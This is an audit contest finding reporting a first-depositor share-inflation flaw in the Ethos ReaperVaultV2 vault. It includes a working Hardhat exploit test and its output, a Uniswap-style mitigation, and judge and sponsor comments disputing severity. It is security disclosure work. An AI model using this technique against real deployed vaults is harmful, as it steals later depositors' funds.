First depositor can steal funds from subsequent depositors

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L319

Vulnerability details

First depositor can steal funds from subsequent depositors

Summary

The first vault depositor can deposit a very minimal amount of tokens, such as 1 wei, followed by sending a larger amount of funds directly to the vault contract. This results in subsequent depositors receiving zero LP tokens for their deposit unless it is greater than the amount of funds deposited by the initial bad actor, and the funds will be received by the bad actor.

Detailed description

ReaperVaultV2._deposit() handles user deposits. The method takes the amount of tokens to be deposited as argument _amount and credits the corresponding amount of shares / LP tokens. In the special case of a deposit being the first deposit, i.e. totalSupply() == 0, a different formula for the LP token calculation will be used, and the depositor simply gets the amount of tokens deposited credited as LP tokens, shares = _amount.

A bad actor can abuse this behaviour by depositing a very small amount, such as 1 wei, as the first deposit, and then sending a larger amount of tokens directly to the vault:

1. Deposit 1 wei of token → Receive 1 wei of LP token
2. Send 10 full tokens directly to the vault → 1 wei of LP token is now worth 10 full tokens plus 1 wei
3. A normal user / good actor deposits 1 full token, however, that's worth less than one wei in LP tokens → user receives zero LP tokens
4. The bad actor can let this run until enough funds are collected and call withdrawAll() to receive all deposited funds, including funds from other users

Recommended mitigation

Uniswap V2 solves this problem by a) requiring the initial deposit to have a certain minimum size and b) send the first 1000 wei of LP tokens to the zero address:

if (_totalSupply == 0) {
    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
    _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}

I recommend the same solution in this case.

PoC

The PoC is implemented as Hardhat test.

First add the following file as Import.sol to Ethos-Vault/contracts. This allows the test to use the ERC20PresetMinterPauser contract:

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";

Then add the following code as Exploit.test.js to Ethos-Vault/test:

const { ethers } = require('hardhat')
const { BigNumber } = require('ethers')

describe('Exploit', function () {
    let want, vault
    let goodSigner, badSigner

    const oneEth = BigNumber.from('10').pow('18')
    const tenEth = BigNumber.from('10').pow('19')

    before(async () => {
        // SETUP

        // Setup signers for the good and bad actors
        ;[goodSigner, badSigner] = await ethers.getSigners()

        // Deploy the "want" token
        const ERC20 = await ethers.getContractFactory('@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol:ERC20PresetMinterPauser')
        want = await ERC20.deploy('WANT', 'WANT')

        // Deploy the vault
        const VAULT = await ethers.getContractFactory('ReaperVaultV2')
        vault = await VAULT.deploy(
            want.address,
            'vault',
            'vault',
            ethers.constants.MaxUint256,
            ethers.constants.AddressZero,
            [],
            [
                // For ease of demonstration, adding the good and bad actors as 
                // strategists so that they can easily deposit without having
                // to deploy the rest of the system.
                goodSigner.address,
                badSigner.address,
                ethers.constants.AddressZero
            ])

        // Mint some tokens
        await want.mint(goodSigner.address, oneEth)
        await want.mint(badSigner.address, tenEth)

        // Approve the vault
        await want.connect(badSigner).approve(vault.address, ethers.constants.MaxUint256)
        await want.connect(goodSigner).approve(vault.address, ethers.constants.MaxUint256)
    })

    it('Exploit', async () => {
        // Bad actor deposits one wei
        await vault.connect(badSigner).deposit(1)

        // Bad actor sends funds to the vault directly
        await want.connect(badSigner).transfer(vault.address, tenEth.sub(1))

        // Good actors deposits 1 ETH
        await vault.connect(goodSigner).deposit(oneEth)

        console.log('Vault LP token balances after deposits (in wei):')
        console.log('Bad actor:', (await vault.balanceOf(badSigner.address)).toString())
        console.log('Good actor:', (await vault.balanceOf(goodSigner.address)).toString())
        console.log('')

        // Bad actors withdraws
        const badBefore = await want.balanceOf(badSigner.address)
        await vault.connect(badSigner).withdrawAll()
        const badDiff = (await want.balanceOf(badSigner.address)).sub(badBefore)

        console.log('After withdraw:')
        console.log('Bad actor owns', badDiff.div(oneEth).toString(), 'ETH after having deposited 10 ETH')
    })
})

Run the test by using npx hardhat test test/Exploit.test.js. Note that you should previously set up a private key in a .env file or hardcode it in hardhat.config.js as PRIVATE_KEY = .... This is due to the existing structure of the codebase.

After running the test you should see the following output:

  Exploit
Vault LP token balances after deposits (in wei):
Bad actor: 1
Good actor: 0

After withdraw:
Bad actor owns 11 ETH after having deposited 10 ETH

// ...
// <Gas usage table>

[c4-judge]

trust1995 marked the issue as duplicate of #848

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)

[c4-judge]

trust1995 marked the issue as grade-b

[c4-sponsor]

0xBebis marked the issue as sponsor disputed

[0xBebis]

classic copy paste issue, we state in the docs the only depositor allowed will be the ethos protocol